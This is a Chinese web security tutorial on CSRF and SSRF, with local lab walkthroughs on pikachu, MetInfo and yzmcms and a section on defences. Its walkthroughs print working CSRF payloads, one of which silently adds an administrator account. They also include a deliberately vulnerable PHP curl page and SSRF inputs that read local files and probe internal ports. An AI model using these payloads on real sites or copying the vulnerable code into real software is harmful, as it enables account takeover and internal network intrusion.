在 Web 安全的世界里,CSRF(跨站请求伪造)和 SSRF(服务器请求伪造)是两种常见却极具危害性的漏洞。它们如同隐藏在网络世界中的 "隐形杀手",攻击者可以利用这些漏洞在用户毫无察觉的情况下完成恶意操作,甚至窃取内网核心信息。本文将从漏洞本质出发,结合真实的实战案例,深入解析这两种漏洞的攻击原理、利用方式,以及有效的防御策略,帮助你构建更安全的 Web 应用。
一、解密 CSRF:漏洞本质与核心定义
1.1 CSRF 简介与危害
CSRF(Cross-site request forgery),简称跨站请求伪造,也被称为 "one-click attack"(一键攻击)。在 CSRF 的攻击场景中,攻击者会伪造一个请求(通常是一个链接或恶意脚本),然后欺骗目标用户进行点击。用户一旦点击了这个请求,浏览器会自动携带用户已登录的 Cookie 信息发送请求,服务器会误认为是用户本人的操作,从而在用户不知情的情况下完成恶意操作,比如修改用户信息、转账、新增管理员等。
这种漏洞的危害在于,攻击者不需要获取用户的登录凭证,只需要诱导用户点击恶意链接,就可以以用户的身份执行敏感操作。对于普通用户来说,可能会导致个人信息被篡改、财产损失;对于企业来说,可能会导致核心数据泄露、系统被恶意控制,造成严重的安全事故。
1.2 CSRF 的工作原理
CSRF 的工作原理基于浏览器的默认行为和服务器的验证机制:
-
浏览器默认行为:当用户登录一个网站后,浏览器会自动在后续请求中附带该网站的 Cookie,包括 sessionid 等认证信息,这是为了让服务器识别用户的身份,避免用户重复登录。
-
服务器验证机制:服务器通常通过检查请求中的 Cookie 来判断用户身份,只要请求中包含有效的 Cookie,服务器就会认为是用户本人的操作,而不会验证请求的来源。
-
攻击者利用方式:攻击者通过构造恶意页面或链接,诱导用户点击。当用户点击时,浏览器会发送包含用户 Cookie 的请求到目标网站,服务器误认为是用户本人操作,从而执行恶意请求。
简单来说,CSRF 就是攻击者 "借用" 了用户的身份,让服务器误以为是用户自己在操作,从而完成攻击。
二、聚焦 CSRF:核心应用场景与学习价值
学习 CSRF 漏洞的价值在于,它可以帮助我们理解 Web 应用中身份验证的漏洞,从而更好地保护 Web 应用的安全。CSRF 的核心应用场景包括:
-
用户信息篡改:攻击者通过恶意链接修改用户的个人信息,比如手机号、邮箱、地址等。
-
敏感操作执行:比如诱导用户点击恶意链接完成转账、下单等操作,造成用户财产损失。
-
权限提升:攻击者可以利用 CSRF 漏洞篡改管理员账户信息,或者新增管理员账号,从而获取更高的系统权限,进一步控制整个系统。
-
恶意内容传播:攻击者可以通过 CSRF 漏洞在网站上发布恶意内容,比如在论坛中发布广告、恶意链接等,影响网站的正常运营。
对于 Web 安全从业者来说,掌握 CSRF 漏洞的原理和利用方式,才能更好地进行安全测试和防护;对于开发者来说,了解 CSRF 漏洞可以帮助他们在开发过程中避免出现类似的安全问题,构建更安全的 Web 应用。
三、实战 CSRF:从原理到落地的实操入门
要深入理解 CSRF 漏洞,最好的方式是通过实战操作。我们将使用 pikachu 靶场来进行 CSRF 漏洞的实战演练。
3.1 安装 pikachu 靶场
pikachu 是一个开源的 Web 安全靶场,包含了常见的 Web 安全漏洞,非常适合用来学习 CSRF 漏洞。安装步骤如下:
-
下载 pikachu 靶场源码,将其放置在本地 Web 服务器的 WWW 目录下(比如 phpStudy 的 WWW 目录)。
-
访问
http://localhost/pikachu/install.php,按照安装向导完成安装,设置数据库信息等。 -
安装完成后,访问
http://localhost/pikachu,即可进入 pikachu 靶场。
3.2 CSRF 案例实战
我们将通过 pikachu 靶场的 CSRF 模块来进行实战演练,步骤如下:
(1)登录靶场
访问localhost/pikachu/vul/csrf/csrfget/csrf_get.php,使用账号kobe,密码123456登录靶场。登录后,我们可以看到用户的个人信息页面,包括性别、手机号、地址、邮箱等信息。
(2)制作恶意网站
攻击者需要构造一个恶意的 HTML 页面,用来发送恶意请求。我们可以创建一个名为sex.html的文件,内容如下:
<script src='http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=gg&phonenum=1111&add=11111&email=111111&submit=submit'></script>
这个脚本的作用是,当用户访问这个页面时,会自动请求 pikachu 的个人信息修改接口,将用户的性别改为gg,手机号改为1111,地址改为11111,邮箱改为111111。
(3)访问恶意网站发起攻击
将sex.html放置在恶意服务器上(比如本地的 Web 服务器,地址为http://127.0.0.1/sex.html),然后诱导目标用户访问这个链接。当用户访问这个链接时,浏览器会自动发送修改个人信息的请求,因为用户已经登录了 pikachu 靶场,请求会携带用户的 Cookie 信息,服务器会认为是用户本人的操作,从而完成信息修改。
(4)目标受害者平台上的变化
用户访问恶意网站后,再回到 pikachu 的个人信息页面localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php,会发现自己的个人信息已经被恶意篡改,而用户本人并没有进行任何操作,这就是 CSRF 攻击的效果。
3.3 BP 拦截并生成 CSRF POC 来篡改
除了手动构造恶意脚本,我们还可以使用 Burp Suite(简称 BP)来拦截请求,生成 CSRF POC(Proof of Concept,概念验证),从而更高效地进行 CSRF 攻击。步骤如下:
(1)修改个人信息
首先,在 pikachu 靶场的个人信息页面,手动修改个人信息,比如将性别改为555,手机号改为5555,地址改为55555,邮箱改为555555,然后点击提交按钮。
(2)BP 拦截
打开 Burp Suite,设置浏览器代理为 BP 的代理地址(默认是127.0.0.1:8080),然后拦截提交个人信息的请求。此时,BP 会捕获到这个修改个人信息的请求。
(3)保存 CSRF PoC
在 BP 中,右键点击捕获到的请求,选择 "Generate CSRF PoC",BP 会自动生成一个 CSRF 的 POC 页面,内容如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="555" />
<input type="hidden" name="phonenum" value="5555" />
<input type="hidden" name="add" value="55555" />
<input type="hidden" name="email" value="555555" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
将这个代码保存为sex2.html,放置在恶意服务器上。
(4)肉鸡平台上的变化
诱导用户访问http://localhost/sex2.html,用户点击页面中的 "Submit request" 按钮后,就会自动发送修改个人信息的请求,用户的个人信息会被恶意篡改。这种方式比手动构造脚本更高效,而且可以生成更复杂的 CSRF PoC。
四、进阶 CSRF:漏洞利用的深度实战技巧
除了手动构造脚本和使用 BP 生成 POC,我们还可以使用 OWASP-CSRFT 工具来自动化生成恶意脚本,进行更复杂的 CSRF 攻击。
4.1 为什么要学 OWASP-CSRFT?
在手动进行 CSRF 攻击时,我们需要手动构造请求,对于复杂的请求来说,这种方式效率很低。而 OWASP-CSRFT 是一个专门用于测试 CSRF 漏洞的工具,可以自动化拦截请求,生成恶意脚本,大大提高了 CSRF 攻击的效率。
4.2 OWASP-CSRFT 生成恶意脚本
使用 OWASP-CSRFT 工具的步骤如下:
(1)OWASP-CSRFT 拦截
首先,打开 OWASP-CSRFT 工具,设置浏览器代理为 OWASP-CSRFT 的代理地址(默认是127.0.0.1:8008),然后开始拦截请求。
(2)进入肉鸡的页面进行拦截
登录 pikachu 靶场的个人信息页面,尝试修改个人信息,然后点击提交按钮。此时,OWASP-CSRFT 会拦截到这个修改个人信息的请求。
(3)生成恶意脚本
OWASP-CSRFT 会自动生成一个恶意脚本sex3.html,内容如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
OWASP CRSFTester Demonstration
</head>
<body>
<H2>OWASP CRSFTester Demonstration</H2>
<img src="http://localhost:80/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=DerryTeacher&phonenum=191&add=909&email=090&submit=submit&" width="0" height="0" border="0"/>
</body>
</html>
这个脚本通过一个隐藏的图片标签来发送恶意请求,当用户访问这个页面时,会自动加载这个图片,从而发送修改个人信息的请求,用户甚至不需要点击任何按钮,就会被攻击。
(4)执行恶意脚本
将sex3.html放置在恶意服务器上,诱导用户访问这个页面,用户的个人信息会被自动修改,而且用户完全不知情,这种攻击方式更隐蔽,危害性更大。
4.3 篡改项目核心管理员(MetInfo 案例)
除了修改普通用户的信息,攻击者还可以利用 CSRF 漏洞篡改网站的核心管理员信息,从而获取系统的最高权限。我们以 MetInfo 网站为例,进行实战演练:
(1)搭建 MetInfo 靶场
下载 MetInfo 源码,将其放置在本地 Web 服务器的 WWW 目录下,访问http://127.0.0.1/mi/,按照安装向导完成安装。安装完成后,访问http://localhost/mi/admin/login/login.php,使用用户名admin,密码admin登录后台。
(2)OWASP-CSRFT 拦截
打开 OWASP-CSRFT 工具,设置代理为127.0.0.1:8008,然后在 MetInfo 后台的左侧菜单栏中,选择 "用户"->"管理员"->"新增管理员",填写管理员信息,然后点击提交按钮。此时,OWASP-CSRFT 会拦截到这个新增管理员的请求。
(3)生成恶意脚本
OWASP-CSRFT 会自动生成一个恶意脚本sex4.html,内容如下(部分代码):
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
OWASP CRSFTester Demonstration
</head>
<body οnlοad="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "59" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://mi:80/admin/admin/save.php?action=add&lang=cn&anyid=47">
<input type="hidden" name="useid" value="Derry"/>
<input type="hidden" name="pass1" value="123456"/>
<input type="hidden" name="pass2" value="123456"/>
<input type="hidden" name="name" value="Derry2"/>
<input type="hidden" name="sex" value="0"/>
<input type="hidden" name="tel" value="1"/>
<input type="hidden" name="mobile" value="15221634614"/>
<input type="hidden" name="email" value="1830140442@qq.com"/>
<!-- 省略部分代码 -->
<input type="hidden" name="Submit" value="保存"/>
</form>
</body>
</html>
这个脚本会在页面加载完成后自动提交表单,新增一个名为Derry2的管理员,密码为123456。
(4)恶意脚本攻击肉鸡服务器
将sex4.html放置在 WWW 站点中,诱导目标管理员访问这个页面。当管理员访问这个页面时,会自动提交新增管理员的请求,攻击者就可以悄无声息地新增一个管理员账号,从而获取 MetInfo 网站的最高权限。
五、CSRF 的防御策略
CSRF 漏洞的危害很大,但我们可以通过一些有效的策略来防御 CSRF 攻击。防御策略可以分为针对网站平台负责人的防御关注点,和针对开发者的防御手册。
5.1 网站平台负责人的防御关注点
-
安全意识培训:对员工和用户进行安全意识培训,提醒用户不要随意点击陌生链接,不要在公共设备上登录敏感网站,及时退出关键网站,避免被钓鱼攻击。
-
同源策略验证:保证在关键管理员领域或核心业务领域中,用户操作的是同一个域名,避免用户在登录敏感网站的同时,访问其他陌生域名。
-
关键业务二次验证:对于转账、新增用户、管理员操作等关键业务,需要添加二次验证,比如短信验证、邮件验证、人脸识别等,确保操作是用户本人的意愿。
5.2 开发者的防御手册
-
使用 CSRF 令牌:在每个用户会话中生成一个随机的 CSRF 令牌,并将其与每个表单或 AJAX 请求一起发送。服务器端验证每个请求中的 CSRF 令牌,确保其有效性。只有当令牌有效时,服务器才会处理请求。
-
SameSite Cookie 属性 :设置 Cookie 的 SameSite 属性为
Strict或Lax,以限制跨站请求中 Cookie 的发送。Strict表示 Cookie 只在同站请求中发送,Lax表示 Cookie 在跨站的 GET 请求中可以发送,这样可以减少跨站请求的机会。 -
验证请求来源:检查请求的 Referer 或 Origin 头,确保请求来源于受信任的域。比如,服务器可以验证 HTTP 请求头的 Referer 字段,确保请求来源与合法域名一致。
-
双重提交 Cookie 机制:在客户端和服务器端都设置 CSRF 令牌。客户端将令牌作为 Cookie 发送,服务器端验证请求中的令牌与 Cookie 中的令牌是否一致。
-
HTTP 方法限制:使用 POST、PUT、DELETE 等方法处理敏感操作,避免使用 GET 请求进行状态改变。因为 GET 请求可以通过 URL 直接访问,更容易被 CSRF 攻击利用。
六、剖析 SSRF:漏洞原理与风险特性
6.1 SSRF 简介与危害
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内网系统,因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。
攻击者通过篡改 URL 路径或完全替换 URL,来操纵服务端向任意域发出 HTTP 请求。SSRF 攻击可以利用链接到组织基础架构内的内部服务,或者用户不应访问的外部系统,从而造成严重的危害:
-
内网探测:攻击者可以通过 SSRF 漏洞探测内网的 IP 地址、端口、服务等信息,为进一步的攻击做准备。
-
读取敏感文件 :攻击者可以通过 SSRF 漏洞读取服务器本地的敏感文件,比如
/etc/hosts、/etc/passwd等,获取系统的核心信息。 -
攻击内网服务:攻击者可以利用 SSRF 漏洞攻击内网的 Web 应用、数据库等服务,比如通过访问内网的数据库端口,获取数据库的敏感信息。
-
DoS 攻击:攻击者可以通过 SSRF 漏洞让服务端发起大量的请求,从而造成服务端的 DoS 攻击,影响系统的正常运行。
6.2 SSRF 的业务背景思考
SSRF 漏洞通常出现在一些需要从其他服务器获取数据的 Web 应用中,比如百度翻译、图片加载器、爬虫系统等。这些应用允许用户输入 URL 地址,然后服务端会根据用户输入的 URL 获取数据。
比如,百度翻译的文本翻译功能,当用户输入一个网站地址时,服务端会访问这个网站,获取网站的内容进行翻译。如果服务端没有对用户输入的 URL 进行过滤和限制,攻击者就可以输入内网的地址,让服务端发起请求,从而获取内网的信息。
七、解读 SSRF:关键应用场景与学习意义
学习 SSRF 漏洞的价值在于,它可以帮助我们理解服务端请求的安全风险,从而更好地保护内网系统的安全。SSRF 的核心应用场景包括:
-
内网信息探测:攻击者通过 SSRF 漏洞探测内网的 IP 地址、端口、服务等信息,发现内网的安全漏洞。
-
敏感文件读取:攻击者通过 SSRF 漏洞读取服务器本地的敏感文件,获取系统的核心配置信息。
-
内网服务攻击:攻击者利用 SSRF 漏洞攻击内网的 Web 应用、数据库等服务,比如通过访问内网的 MySQL 端口,执行 SQL 注入攻击。
-
绕过访问控制:攻击者可以通过 SSRF 漏洞绕过防火墙的限制,访问外网无法访问的内网系统。
对于 Web 安全从业者来说,掌握 SSRF 漏洞的原理和利用方式,可以帮助他们进行更全面的安全测试;对于开发者来说,了解 SSRF 漏洞可以帮助他们在开发过程中对用户输入的 URL 进行过滤和限制,避免出现 SSRF 漏洞。
八、实战 SSRF:漏洞利用的实操进阶
我们将通过手动构造 SSRF 请求,来进行 SSRF 漏洞的实战演练。
8.1 内网探测实操
首先,我们需要创建一个简单的 Web 应用,用来模拟存在 SSRF 漏洞的场景。创建一个名为ssrf.php的文件,内容如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
SSRF
</head>
<body>
远程图片加载器
<form action="" method="POST">
请输入图片地址:<input type='text' name='url'>
<input type='submit' value="提交">
</form>
</body>
<?php
$_POST['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
?>
这个 PHP 文件的作用是,接收用户输入的 URL 地址,然后通过 curl 请求这个 URL,将结果输出到页面上。这个应用没有对用户输入的 URL 进行过滤,存在 SSRF 漏洞。
(1)内网探测站点首页
访问http://localhost/ssrf.php,在输入框中输入http://127.0.0.1:80,然后点击提交按钮。此时,服务端会请求本地的 80 端口,也就是本地的 Web 服务器,页面会显示本地 Web 服务器的首页内容,攻击者就可以获取内网站点的首页信息。
(2)内网探测站点数据库
在输入框中输入http://127.0.0.1:3306,然后点击提交按钮。此时,服务端会请求本地的 3306 端口(MySQL 数据库的默认端口),页面会显示一些乱码,这些乱码是 MySQL 数据库的响应信息,攻击者可以通过这些信息判断内网是否存在 MySQL 数据库,以及数据库的版本等信息。
(3)内网探测站点关键信息
在输入框中输入file:///C:/Windows/System32/drivers/etc/hosts(Windows 系统),或者file:///etc/hosts(Linux 系统),然后点击提交按钮。此时,服务端会读取本地的 hosts 文件,将内容输出到页面上,攻击者就可以获取内网的 DNS 配置信息。
8.2 SSRF 项目实操
我们还可以通过搭建 yzm 靶场,来进行更复杂的 SSRF 攻击演练。
(1)搭建 yzm 靶场
下载 yzmcms 源码,将其放置在本地 Web 服务器的 WWW 目录下,访问http://127.0.0.1/yzm/application/install/,按照安装向导完成安装。安装完成后,访问http://localhost/yzm/admin/index/login.html,使用用户名和密码yzmcms登录后台。
(2)新增采集任务
在 yzmcms 后台,选择 "采集"->"采集任务"->"新增采集任务",填写采集任务的名称,然后在 "采集地址" 输入框中输入恶意的 URL 地址,比如http://localhost/test/ssrf.html。
(3)测试采集
点击 "测试采集" 按钮,yzmcms 的服务端会请求这个 URL 地址。如果ssrf.html是一个恶意页面,比如包含读取本地文件的脚本,服务端就会执行这个脚本,攻击者就可以获取内网的敏感信息。
九、SSRF 的成因与防御
9.1 SSRF 的成因
SSRF 漏洞的成因主要是因为服务端提供了从其他服务器获取数据的功能,且没有对目标地址做过滤与限制。比如:
-
服务端允许用户输入任意的 URL 地址,包括内网地址、本地文件地址等。
-
服务端没有对用户输入的 URL 进行验证,比如没有过滤
file://、ftp://等协议,没有限制内网 IP 地址。
9.2 SSRF 的防御策略
我们可以通过以下策略来防御 SSRF 攻击:
-
检验参数,限制内网 IP :服务端需要对用户输入的 URL 进行验证,不允许访问内网段的 IP 地址,比如
127.0.0.1、192.168.0.0/16、10.0.0.0/8等。 -
限制协议 :只允许使用 HTTP、HTTPS 协议,禁用
file://、ftp://、gopher://等不需要的协议,防止攻击者通过这些协议读取本地文件或访问内网服务。 -
统一错误信息:避免用户可以根据错误信息来判断远端服务器的端口状态。比如,当请求失败时,统一返回 "请求失败" 的错误信息,而不是返回 "连接被拒绝"、"超时" 等不同的错误信息。
-
过滤返回信息:验证远程服务器对请求的响应,只返回符合预期的内容。比如,如果应用是用来加载图片的,那么只返回图片类型的内容,过滤其他类型的内容。
-
使用白名单:创建一个白名单,只允许访问白名单中的域名,拒绝访问其他域名。
9.3 故事理解 SSRF
我们可以用一个故事来理解 SSRF 漏洞:你有一个暗恋的女神,她非常高冷,不给任何人联系方式,你根本无法得到她的联系方式。就在你一筹莫展的时候,你得知女神的亲戚有她的联系方式,而且这个亲戚嘴不严,喜欢八卦。你可以通过这个亲戚来获取女神的联系方式,这个亲戚就相当于存在 SSRF 漏洞的服务端,你就是攻击者,女神就是内网的敏感信息。
十、思考与总结:CSRF 与 SSRF 危害性对比
CSRF 和 SSRF 都是 Web 安全中常见的漏洞,但它们的危害性有所不同:
-
CSRF 的危害性:CSRF 主要是利用用户的登录状态,以用户的身份执行恶意操作,危害主要集中在用户的个人信息和敏感操作上,比如修改用户信息、转账等。如果攻击者获取了管理员的登录状态,就可以修改系统配置、新增管理员等,危害会更大。
-
SSRF 的危害性:SSRF 主要是利用服务端的权限,访问内网系统和读取本地文件,危害主要集中在内网的安全上。攻击者可以通过 SSRF 漏洞探测内网的信息,攻击内网的服务,甚至获取整个内网的控制权,危害性更大,尤其是对于企业来说,内网通常包含了大量的核心数据和服务。
总的来说,SSRF 的危害性比 CSRF 更大,因为它可以直接威胁到内网的安全,而内网通常是企业的核心资产。但这并不意味着 CSRF 的危害性可以忽视,CSRF 仍然可以对用户和企业造成严重的损失。